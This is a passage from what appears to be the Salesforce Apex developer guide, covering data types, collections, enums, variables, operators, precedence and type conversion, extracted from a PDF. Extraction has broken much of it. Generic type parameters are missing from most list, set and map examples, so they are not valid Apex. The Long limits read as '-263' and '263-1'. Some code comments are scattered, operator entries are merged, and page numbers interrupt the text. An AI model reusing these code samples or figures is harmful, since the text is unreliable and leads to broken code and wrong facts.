invalid ID values are rejected with a runtime exception.
Integer
A 32-bit number that does not include a decimal point. Integers have a minimum value of
-2,147,483,648 and a maximum value of 2,147,483,647. For example:
Integer i = 1;
Long
A 64-bit number that does not include a decimal point. Longs have a minimum value of -263 and a
maximum value of 263-1. Use this data type when you need a range of values wider than the range
provided by Integer. For example:
Long l = 2147483648L;
Object
Any data type that is supported in Apex. Apex supports primitive data types (such as Integer),
user-defined custom classes, the sObject generic type, or an sObject specific type (such as Account).
All Apex data types inherit from Object.
28
Data Types and Variables
Data Type
Primitive Data Types
Description
You can cast an object that represents a more specific data type to its underlying data type. For
example:
Object obj = 10;
// Cast the object to an integer.
Integer i = (Integer)obj;
System.assertEquals(10, i);
The next example shows how to cast an object to a user-defined type—a custom Apex class named
MyApexClass that is predefined in your organization.
Object obj = new MyApexClass();
// Cast the object to the MyApexClass custom type.
MyApexClass mc = (MyApexClass)obj;
// Access a method on the user-defined class.
mc.someClassMethod();
String
Any set of characters surrounded by single quotes. For example,
String s = 'The quick brown fox jumped over the lazy dog.';
String size: Strings have no limit on the number of characters they can include. Instead, the heap
size limit is used to ensure that your Apex programs don't grow too large.
Empty Strings and Trailing Whitespace: sObject String field values follow the same rules as in
the SOAP API: they can never be empty (only null), and they can never include leading and trailing
whitespace. These conventions are necessary for database storage.
Conversely, Strings in Apex can be null or empty and can include leading and trailing whitespace,
which can be used to construct a message.
The Solution sObject field SolutionNote operates as a special type of String. If you have HTML Solutions
enabled, any HTML tags used in this field are verified before the object is created or updated. If invalid
HTML is entered, an error is thrown. Any JavaScript used in this field is removed before the object is
created or updated. In the following example, when the Solution displays on a detail page, the
SolutionNote field has H1 HTML formatting applied to it:
trigger t on Solution (before insert) {
Trigger.new[0].SolutionNote ='hello ';
}
In the following example, when the Solution displays on a detail page, the SolutionNote field only
contains HelloGoodbye:
trigger t2 on Solution (before insert) {
Trigger.new[0].SolutionNote =
'Hello Goodbye';
}
For more information, see “HTML Solutions Overview” in the Salesforce online help.
Escape Sequences: All Strings in Apex use the same escape sequences as SOQL strings: \b
(backspace), \t (tab), \n (line feed), \f (form feed), \r (carriage return), \" (double quote),
\' (single quote), and \\ (backslash).
29
Data Types and Variables
Collections
Data Type
Description
Comparison Operators: Unlike Java, Apex Strings support using the comparison operators ==,
!=, <, <=, >, and >=. Because Apex uses SOQL comparison semantics, results for Strings are collated
according to the context user’s locale and are not case-sensitive. For more information, see Operators
on page 40.
String Methods: As in Java, Strings can be manipulated with several standard methods. For more
information, see String Class.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime
error if you assign a String value that is too long for the field.
Time
A value that indicates a particular time. Time values must always be created with a system static
method. See Time Class.
In addition, two non-standard primitive data types cannot be used as variable or method types, but do appear in system static methods:
• AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within
the Force.com platform database exclusively for sObject fields in field history tracking tables.
• Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely within
SOQL and SOSL WHERE clauses to filter against sObject currency fields. You cannot instantiate Currency in any other type of Apex.
For more information on the AnyType data type, see Field Types in the Object Reference for Salesforce and Force.com.
SEE ALSO:
Understanding Expression Operators
Collections
Apex has the following types of collections:
• Lists
• Maps
• Sets
Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.
Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types. For example, the following table is a visual representation of a list of
Strings:
Index 0
Index 1
Index 2
Index 3
Index 4
Index 5
'Red'
'Orange'
'Yellow'
'Green'
'Blue'
'Purple'
The index position of the first element in a list is always 0.
30
Data Types and Variables
Lists
Lists can contain any collection and can be nested within one another and become multidimensional. For example, you can have a list
of lists of sets of Integers. A list can contain up to four levels of nested collections inside it, that is, a total of five levels overall.
To declare a list, use the List keyword followed by the primitive data, sObject, nested list, map, or set type within <> characters. For
example:
// Create an empty list of String
List my_list = new List();
// Create a nested list
List>> my_list_2 = new List>>();
To access elements in a list, use the List methods provided by Apex. For example:
List myList = new List(); // Define a new list
myList.add(47);
// Adds a second element of value 47 to the end
// of the list
Integer i = myList.get(0);
// Retrieves the element at index 0
myList.set(0, 1);
// Adds the integer 1 to the list at index 0
myList.clear();
// Removes all elements from the list
For more information, including a complete list of all supported methods, see List Class on page 2352.
Using Array Notation for One-Dimensional Lists
When using one-dimensional lists of primitives or objects, you can also use more traditional array notation to declare and reference list
elements. For example, you can declare a one-dimensional list of primitives or objects by following the data type name with the []
characters:
String[] colors = new List();
These two statements are equivalent to the previous:
List colors = new String[1];
String[] colors = new String[1];
To reference an element of a one-dimensional list, you can also follow the name of the list with the element's index position in square
brackets. For example:
colors[0] = 'Green';
Even though the size of the previous String array is defined as one element (the number between the brackets in new String[1]),
lists are elastic and can grow as needed provided that you use the List add method to add new elements. For example, you can
add two or more elements to the colors list. But if you’re using square brackets to add an element to a list, the list behaves like an
array and isn’t elastic, that is, you won’t be allowed to add more elements than the declared array size.
All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example:
Example
List ints = new Integer[0];
List ints = new Integer[6];
Description
Defines an Integer list of size zero with no elements
Defines an Integer list with memory allocated for six Integers
31
Data Types and Variables
Lists
List Sorting
You can sort list elements and the sort order depends on the data type of the elements.
Using the List.sort method, you can sort elements in a list. Sorting is in ascending order for elements of primitive data types, such
as strings. The sort order of other more complex data types is described in the chapters covering those data types.
This example shows how to sort a list of strings and verifies that the colors are in ascending order in the list.
List colors = new List{
'Yellow',
'Red',
'Green'};
colors.sort();
System.assertEquals('Green', colors.get(0));
System.assertEquals('Red', colors.get(1));
System.assertEquals('Yellow', colors.get(2));
For the Visualforce SelectOption control, sorting is in ascending order based on the value and label fields. See this next section for the
sequence of comparison steps used for SelectOption.
Default Sort Order for SelectOption
The List.sort method sorts SelectOption elements in ascending order using the value and label fields, and is based on this
comparison sequence.
1. The value field is used for sorting first.
2. If two value fields have the same value or are both empty, the label field is used.
Note that the disabled field is not used for sorting.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
In this example, a list contains three SelectOption elements. Two elements, United States and Mexico, have the same value field (‘A’).
The List.sort method sorts these two elements based on the label field, and places Mexico before United States, as shown in the
output. The last element in the sorted list is Canada and is sorted on its value field ‘C’, which comes after ‘A’.
List options = new List();
options.add(new SelectOption('A','United States'));
options.add(new SelectOption('C','Canada'));
options.add(new SelectOption('A','Mexico'));
System.debug('Before sorting: ' + options);
options.sort();
System.debug('After sorting: ' + options);
This is the output of the debug statements. It shows the list contents before and after the sort.
DEBUG|Before sorting: (System.SelectOption[value="A", label="United States",
disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"],
System.SelectOption[value="A", label="Mexico", disabled="false"])
DEBUG|After sorting: (System.SelectOption[value="A", label="Mexico", disabled="false"],
System.SelectOption[value="A", label="United States", disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"])
32
Data Types and Variables
Sets
Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types. For example, the following table represents a set of strings, that uses
city names:
'San Francisco'
'New York'
'Paris'
'Tokyo'
Sets can contain collections that can be nested within one another. For example, you can have a set of lists of sets of Integers. A set can
contain up to four levels of nested collections inside it, that is, up to five levels overall.
To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example:
new Set()
The following are ways to declare and populate a set:
Set s1 = new Set{'a', 'b + c'}; // Defines a new set with two elements
Set s2 = new Set(s1); // Defines a new set that contains the
// elements of the set created in the previous step
To access elements in a set, use the system methods provided by Apex. For example:
Set s = new Set();
s.add(1);
System.assert(s.contains(1));
s.remove(1);
//
//
//
//
Define
Add an
Assert
Remove
a new set
element to the set
that the set contains an element
the element from the set
For more information, including a complete list of all supported set system methods, see Set Class on page 2483.
Note the following limitations on sets:
• Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example,
HashSet or TreeSet). Apex uses a hash structure for all sets.
• A set is an unordered collection—you can’t access a set element at a specific index. You can only iterate over set elements.
• The iteration order of set elements is deterministic, so you can rely on the order being the same in each subsequent execution of
the same code.
Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table represents a map of countries
and currencies:
Country (Key)
'United States'
'Japan'
'France'
'England'
'India'
Currency (Value)
'Dollar'
'Yen'
'Euro'
'Pound'
'Rupee'
Map keys and values can contain any collection, and can contain nested collections. For example, you can have a map of Integers to
maps, which, in turn, map Strings to lists. Map keys can contain up to only four levels of nested collections.
33
Data Types and Variables
Maps
To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example:
Map country_currencies = new Map();
Map> m = new Map>();
You can use the generic or specific sObject data types with maps. You can also create a generic instance of a map.
As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces,
specify the key first, then specify the value for that key using =>. For example:
Map MyStrings = new Map{'a' => 'b', 'c' =>
'd'.toUpperCase()};
In the first example, the value for the key a is b, and the value for the key c is D.
To access elements in a map, use the Map methods provided by Apex. This example creates a map of integer keys and string values. It
adds two entries, checks for the existence of the first key, retrieves the value for the second entry, and finally gets the set of all keys.
Map m = new Map(); // Define a new map
m.put(1, 'First entry');
// Insert a new key-value pair in the map
m.put(2, 'Second entry');
// Insert a new key-value pair in the map
System.assert(m.containsKey(1)); // Assert that the map contains a key
String value = m.get(2);
// Retrieve a value, given a particular key
System.assertEquals('Second entry', value);
Set s = m.keySet();
// Return a set that contains all of the keys in the
map
For more information, including a complete list of all supported Map methods, see Map Class on page 2370.
Map Considerations
• Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a map in their declarations (for
example, HashMap or TreeMap). Apex uses a hash structure for all maps.
• The iteration order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the
same code. However, we recommend to always access map elements by key.
• A map key can hold the null value.
• Adding a map entry with a key that matches an existing key in the map overwrites the existing entry with that key with the new
entry.
• Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding
distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys as
distinct.
• Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide in
your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the objects’ field
values.
• A Map object is serializable into JSON only if it uses one of the following data types as a key.
– Boolean
– Date
– DateTime
– Decimal
– Double
– Enum
34
Data Types and Variables
Parameterized Typing
– Id
– Integer
– Long
– String
– Time
Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that
variable can be used. For example, the following is legal in Apex:
Integer x = 1;
The following is not legal if x has not been defined earlier:
x = 1;
Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data type must be
replaced with an actual data type upon construction of the list, map or set. For example:
List myList = new List();
Subtyping with Parameterized Lists
In Apex, if type T is a subtype of U, then List would be a subtype of List. For example, the following is legal:
List slst = new List {'foo', 'bar'};
List olst = slst;
Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically
used to define a set of possible values that don’t otherwise have a numerical order, such as the suit of a card, or a particular season of
the year. Although each value corresponds to a distinct integer value, the enum hides this implementation so that you don’t inadvertently
misuse the values, such as using them to perform arithmetic. After you create an enum, variables, method arguments, and return types
can be declared of that type.
Note: Unlike Java, the enum type itself has no constructor syntax.
To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values. For example,
the following code creates an enum called Season:
public enum Season {WINTER, SPRING, SUMMER, FALL}
By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you might
any other data type. For example:
Season e = Season.WINTER;
Season m(Integer x, Season e) {
35
Data Types and Variables
Enums
if (e == Season.SUMMER) return e;
//...
}
You can also define a class as an enum. Note that when you create an enum class you do not use the class keyword in the definition.
public enum MyEnumClass { X, Y }
You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you
assign to it must be an instance of that enum class.
Any webService methods can use enum types as part of their signature. When this occurs, the associated WSDL file includes
definitions for the enum and its values, which can then be used by the API client.
Apex provides the following system-defined enums:
• System.StatusCode
This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY
StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY
The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file
for your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help.
• System.XmlTag:
This enum returns a list of XML tags used for parsing the result XML from a webService method. For more information, see
XmlStreamReader Class.
• System.ApplicationReadWriteMode: This enum indicates if an organization is in 5 Minute Upgrade read-only mode
during Salesforce upgrades and downtimes. For more information, see Using the System.ApplicationReadWriteMode
Enum.
• System.LoggingLevel:
This enum is used with the system.debug method, to specify the log level for all debug calls. For more information, see System
Class.
• System.RoundingMode:
This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation, such as
the Decimal divide method and the Double round method. For more information, see Rounding Mode.
• System.SoapType:
This enum is returned by the field describe result getSoapType method. For more informations, see SOAPType Enum.
• System.DisplayType:
This enum is returned by the field describe result getType method. For more information, see DisplayType Enum.
• System.JSONToken:
This enum is used for parsing JSON content. For more information, see JSONToken Enum.
• ApexPages.Severity:
This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum.
• Dom.XmlNodeType:
36
Data Types and Variables
Variables
This enum specifies the node type in a DOM document.
Note: System-defined enums cannot be used in Web service methods.
All enum values, including system enums, have common methods associated with them. For more information, see Enum Methods.
You cannot add user-defined methods to enum values.
Variables
Local variables are declared with Java-style syntax. For example:
Integer i = 0;
String str;
List strList;
Set s;
Map m;
As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:
Integer i, j, k;
Null Variables and Initial Values
If you declare a variable and don't initialize it with a value, it will be null. In essence, null means the absence of a value. You can
also assign null to any variable declared with a primitive type. For example, both of these statements result in a variable set to null:
Boolean x = null;
Decimal d;
Many instance methods on the data type will fail if the variable is null. In this example, the second statement generates an exception
(NullPointerException)
Date d;
d.addDays(2);
All variables are initialized to null if they aren’t assigned a value. For instance, in the following example, i, and k are assigned values,
while the integer variable j and the boolean variable b are set to null because they aren’t explicitly initialized.
Integer i = 0, j, k = 1;
Boolean b;
Note: A common pitfall is to assume that an uninitialized boolean variable is initialized to false by the system. This isn’t the
case. Like all other variables, boolean variables are null if not assigned a value explicitly.
Variable Scope
Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks can’t redefine a variable name
that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:
Integer i;
{
// Integer i;
This declaration is not allowed
37
Data Types and Variables
Constants
}
for (Integer j = 0; j < 10; j++);
for (Integer j = 0; j < 10; j++);
Case Sensitivity
To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means:
• Variable and method names are case-insensitive. For example:
Integer I;
//Integer i;
This would be an error.
• References to object and field names are case-insensitive. For example:
Account a1;
ACCOUNT a2;
• SOQL and SOSL statements are case- insensitive. For example:
Account[] accts = [sELect ID From ACCouNT where nAme = 'fred'];
Note: You’ll learn more about sObjects, SOQL and SOSL later in this guide.
Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the SOAP API and the Salesforce
user interface. The use of these semantics can lead to some interesting behavior. For example, if an end-user generates a report based
on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this
behavior is that users typically think of a field without a value as just a space character, rather than its actual null value. Consequently,
in Apex, the following expressions all evaluate to true:
String s;
System.assert('a' == 'A');
System.assert(s < 'b');
System.assert(!(s > 'b'));
Note: Although s < 'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because
you’re trying to compare a letter to a null value.
Constants
Apex constants are variables whose values don’t change after being initialized once.
Constants can be defined using the final keyword, which means that the variable can be assigned at most once, either in the
declaration itself, or with a static initializer method if the constant is defined in a class. This example declares two constants. The first is
initialized in the declaration statement. The second is assigned a value in a static block by calling a static method.
public class myCls {
static final Integer PRIVATE_INT_CONST = 200;
static final Integer PRIVATE_INT_CONST2;
public static Integer calculate() {
return 2 + 7;
38
Data Types and Variables
Expressions and Operators
}
static {
PRIVATE_INT_CONST2 = calculate();
}
}
For more information, see Using the final Keyword on page 77.
Expressions and Operators
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. This section
provides an overview of expressions in Apex and contains the following:
• Understanding Expressions
• Understanding Expression Operators
• Understanding Operator Precedence
• Expanding sObject and List Expressions
• Using Comments
Understanding Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. In Apex, an
expression is always one of the following types:
• A literal expression. For example:
1 + 1
• A new sObject, Apex object, list, set, or map. For example:
new
new
new
new
new
new
new
Account()
Integer[]
Account[]{}
List()
Set{}
Map()
myRenamingClass(string oldName, string newName)
• Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and
most sObject or Apex object field references. For example:
Integer i
myList[3]
myContact.name
myRenamingClass.oldName
• Any sObject field reference that is not an L-value, including:
– The ID of an sObject in a list (see Lists)
– A set of child records associated with an sObject (for example, the set of contacts associated with a particular account). This type
of expression yields a query result, much like SOQL and SOSL queries.
39
Data Types and Variables
Understanding Expression Operators
• A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:
Account[] aa = [SELECT Id, Name FROM Account WHERE Name ='Acme'];
Integer i = [SELECT COUNT() FROM Contact WHERE LastName ='Weissman'];
List> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];
For information, see SOQL and SOSL Queries on page 144.
• A static or instance method invocation. For example:
System.assert(true)
myRenamingClass.replaceNames()
changePoint(new Point(x, y));
Understanding Expression Operators
Expressions can also be joined to one another with operators to create compound expressions. Apex supports the following operators:
Operator
Syntax
Description
=
x = y
Assignment operator (Right associative). Assigns the value of y to the L-value
x. Note that the data type of x must match the data type of y, and cannot be
null.
+=
x += y
Addition assignment operator (Right associative). Adds the value of y to the
original value of x and then reassigns the new value to x. See + for additional
information. x and y cannot be null.
*=
x *= y
Multiplication assignment operator (Right associative). Multiplies the value of
y with the original value of x and then reassigns the new value to x. Note that
x and y must be Integers or Doubles, or a combination. x and y cannot be
null.
-=
x -= y
Subtraction assignment operator (Right associative). Subtracts the value of y
from the original value of x and then reassigns the new value to x. Note that x
and y must be Integers or Doubles, or a combination. x and y cannot be null.
/=
x /= y
Division assignment operator (Right associative). Divides the original value of x
with the value of y and then reassigns the new value to x. Note that x and y
must be Integers or Doubles, or a combination. x and y cannot be null.
|=
x |= y
OR assignment operator (Right associative). If x, a Boolean, and y, a Boolean,
are both false, then x remains false. Otherwise, x is assigned the value of true. x
and y cannot be null.
&=
x &= y
AND assignment operator (Right associative). If x, a Boolean, and y, a Boolean,
are both true, then x remains true. Otherwise, x is assigned the value of false. x
and y cannot be null.
<<=
x <<= y
Bitwise shift left assignment operator. Shifts each bit in x to the left by y bits
so that the high order bits are lost, and the new right bits are set to 0. This value is
then reassigned to x.
40
Data Types and Variables
Understanding Expression Operators
Operator
Syntax
Description
>>=
x >>= y
Bitwise shift right signed assignment operator. Shifts each bit in x to the right
by y bits so that the low order bits are lost, and the new left bits are set to 0 for
positive values of y and 1 for negative values of y. This value is then reassigned to
x.
>>>=
x >>>= y
Bitwise shift right unsigned assignment operator. Shifts each bit in x to the
right by y bits so that the low order bits are lost, and the new left bits are set to 0
for all values of y. This value is then reassigned to x.
? :
x ? y : z
Ternary operator (Right associative). This operator acts as a short-hand for
if-then-else statements. If x, a Boolean, is true, y is the result. Otherwise z is the
result. Note that x cannot be null.
&&
x && y
AND logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both
true, then the expression evaluates to true. Otherwise the expression evaluates to
false.
Note:
• && has precedence over ||
• This operator exhibits “short-circuiting” behavior, which means y is evaluated
only if x is true.
• x and y cannot be null.
||
x || y
OR logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both
false, then the expression evaluates to false. Otherwise the expression evaluates to
true.
Note:
• && has precedence over ||
• This operator exhibits “short-circuiting” behavior, which means y is evaluated
only if x is false.
• x and y cannot be null.
==
x == y
Equality operator. If the value of x equals the value of y, the expression evaluates
to true. Otherwise, the expression evaluates to false.
Note:
• Unlike Java, == in Apex compares object value equality, not reference equality,
except for user-defined types. Consequently:
– String comparison using == is case-insensitive
– ID comparison using == is case-sensitive, and does not distinguish between
15-character and 18-character formats
– User-defined types are compared by reference, which means that two
objects are equal only if they reference the same location in memory. You
can override this default comparison behavior by providing equals and
hashCode methods in your class to compare object values instead.
41
Data Types and Variables
Operator
Syntax
Understanding Expression Operators
Description
• For sObjects and sObject arrays, == performs a deep check of all sObject field
values before returning its result. Likewise for collections and built-in Apex
objects.
• For records, every field must have the same value for == to evaluate to true.
• x or y can be the literal null.
• The comparison of any two values can never result in null.
• SOQL and SOSL use = for their equality operator, and not ==. Although Apex
and SOQL and SOSL are strongly linked, this unfortunate syntax discrepancy
exists because most modern languages use = for assignment and == for
equality. The designers of Apex deemed it more valuable to maintain this
paradigm than to force developers to learn a new assignment operator. The
result is that Apex developers must use == for equality tests in the main body
of the Apex code, and = for equality in SOQL and SOSL queries.
===
x === y
Exact equality operator. If x and y reference the exact same location in memory,
the expression evaluates to true. Otherwise, the expression evaluates to false.
<
x < y
Less than operator. If x is less than y, the expression evaluates to true. Otherwise,
the expression evaluates to false.
Note:
• Unlike other database stored procedures, Apex does not support tri-state Boolean
logic, and the comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
• If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
• x and y cannot be Booleans.
• The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
>
x > y
Greater than operator. If x is greater than y, the expression evaluates to true.
Otherwise, the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
42
Data Types and Variables
Operator
Syntax
Understanding Expression Operators
Description
• If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
• x and y cannot be Booleans.
• The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
<=
x <= y
Less than or equal to operator. If x is less than or equal to y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
• If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
• x and y cannot be Booleans.
• The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
>=
x >= y
Greater than or equal to operator. If x is greater than or equal to y, the
expression evaluates to true. Otherwise, the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
• If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
• x and y cannot be Booleans.
• The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
!=
x != y
Inequality operator. If the value of x does not equal the value of y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
• String comparison using != is case-insensitive
• Unlike Java, != in Apex compares object value equality, not reference equality,
except for user-defined types.
43
Data Types and Variables
Operator
Syntax
Understanding Expression Operators
Description
• For sObjects and sObject arrays, != performs a deep check of all sObject field
values before returning its result.
• For records, != evaluates to true if the records have different values for any
field.
• User-defined types are compared by reference, which means that two objects
are different only if they reference different locations in memory. You can
override this default comparison behavior by providing equals and
hashCode methods in your class to compare object values instead.
• x or y can be the literal null.
• The comparison of any two values can never result in null.
!==
x !== y
Exact inequality operator. If x and y do not reference the exact same location
in memory, the expression evaluates to true. Otherwise, the expression evaluates
to false.
+
x + y
Addition operator. Adds the value of x to the value of y according to the
following rules:
• If x and y are Integers or Doubles, adds the value of x to the value of y. If a
Double is used, the result is a Double.
• If x is a Date and y is an Integer, returns a new Date that is incremented by
the specified number of days.
• If x is a Datetime and y is an Integer or Double, returns a new Date that is
incremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
• If x is a String and y is a String or any other type of non-null argument,
concatenates y to the end of x.
-
x - y
Subtraction operator. Subtracts the value of y from the value of x according to
the following rules:
• If x and y are Integers or Doubles, subtracts the value of y from the value of
x. If a Double is used, the result is a Double.
• If x is a Date and y is an Integer, returns a new Date that is decremented by
the specified number of days.
• If x is a Datetime and y is an Integer or Double, returns a new Date that is
decremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
*
x * y
Multiplication operator. Multiplies x, an Integer or Double, with y, another
Integer or Double. Note that if a double is used, the result is a Double.
/
x / y
Division operator. Divides x, an Integer or Double, by y, another Integer or Double.
Note that if a double is used, the result is a Double.
!
!x
Logical complement operator. Inverts the value of a Boolean, so that true becomes
false, and false becomes true.
44
Data Types and Variables
Understanding Operator Precedence
Operator
Syntax
Description
-
-x
Unary negation operator. Multiplies the value of x, an Integer or Double, by -1.
Note that the positive equivalent + is also syntactically valid, but does not have a
mathematical effect.
++
x++
Increment operator. Adds 1 to the value of x, a variable of a numeric type. If
prefixed (++x), the expression evaluates to the value of x after the increment. If
postfixed (x++), the expression evaluates to the value of x before the increment.
++x
--
x---x
Decrement operator. Subtracts 1 from the value of x, a variable of a numeric type.
If prefixed (--x), the expression evaluates to the value of x after the decrement. If
postfixed (x--), the expression evaluates to the value of x before the decrement.
&
x & y
Bitwise AND operator. ANDs each bit in x with the corresponding bit in y so
that the result bit is set to 1 if both of the bits are set to 1. This operator is not valid
for types Long or Integer.
|
x | y
Bitwise OR operator. ORs each bit in x with the corresponding bit in y so that
the result bit is set to 1 if at least one of the bits is set to 1. This operator is not valid
for types Long or Integer.
^
x ^ y
Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0.
^=
x ^= y
Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0. Assigns the result of the exclusive OR operation to x.
<<
x << y
Bitwise shift left operator. Shifts each bit in x to the left by y bits so that the
high order bits are lost, and the new right bits are set to 0.
>>
x >> y
Bitwise shift right signed operator. Shifts each bit in x to the right by y bits so
that the low order bits are lost, and the new left bits are set to 0 for positive values
of y and 1 for negative values of y.
>>>
x >>> y
Bitwise shift right unsigned operator. Shifts each bit in x to the right by y bits
so that the low order bits are lost, and the new left bits are set to 0 for all values of
y.
()
(x)
Parentheses. Elevates the precedence of an expression x so that it is evaluated
first in a compound expression.
Understanding Operator Precedence
Apex uses the following operator precedence rules:
Precedence
Operators
Description
1
{} () ++ --
Grouping and prefix increments and decrements
2
! -x +x (type) new
Unary negation, type cast and object creation
45
Data Types and Variables
Using Comments
Precedence
Operators
Description
3
* /
Multiplication and division
4
+ -
Addition and subtraction
5
< <= > >= instanceof
Greater-than and less-than comparisons, reference tests
6
== !=
Comparisons: equal and not-equal
7
&&
Logical AND
8
||
Logical OR
9
= += -= *= /= &=
Assignment operators
Using Comments
Both single and multiline comments are supported in Apex code:
• To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser. For example:
Integer i = 1; // This comment is ignored by the parser
• To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example:
Integer i = 1; /* This comment can wrap over multiple
lines without getting interpreted by the
parser. */
Assignment Statements
An assignment statement is any statement that places a value into a variable, generally in one of the following two forms:
[LValue] = [new_value_expression];
[LValue] = [[inline_soql_query]];
In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These include:
• A simple variable. For example:
Integer i = 1;
Account a = new Account();
Account[] accts = [SELECT Id FROM Account];
• A de-referenced list element. For example:
ints[0] = 1;
accts[0].Name = 'Acme';
• An sObject field reference that the context user has permission to edit. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
// IDs cannot be set prior to an insert call
46
Data Types and Variables
Understanding Rules of Conversion
// a.Id = '00300000003T2PGAA0';
// Instead, insert the record. The system automatically assigns it an ID.
insert a;
// Fields also must be writable for the context user
// a.CreatedDate = System.today(); This code is invalid because
//
createdDate is read-only!
// Since the account a has been inserted, it is now possible to
// create a new contact that is related to it
Contact c = new Contact(LastName = 'Roth', Account = a);
// Notice that you can write to the account name directly through the contact
c.Account.Name = 'salesforce.com';
Assignment is always done by reference. For example:
Account a = new Account();
Account b;
Account[] c = new Account[]{};
a.Name = 'Acme';
b = a;
c.add(a);
// These asserts should now be true. You can reference the data
// originally allocated to account a through account b and account list c.
System.assertEquals(b.Name, 'Acme');
System.assertEquals(c[0].Name, 'Acme');
Similarly, two lists can point at the same value in memory. For example:
Account[] a = new Account[]{new Account()};
Account[] b = a;
a[0].Name = 'Acme';
System.assert(b[0].Name == 'Acme');
In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Understanding Expression Operators
on page 40.
Understanding Rules of Conversion
In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be
implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly converted,
without using a method.
Numbers form a hierarchy of types. Variables of lower numeric types can always be assigned to higher types without explicit conversion.
The following is the hierarchy for numbers, from lowest to highest:
1. Integer
2. Long
3. Double
4. Decimal
47
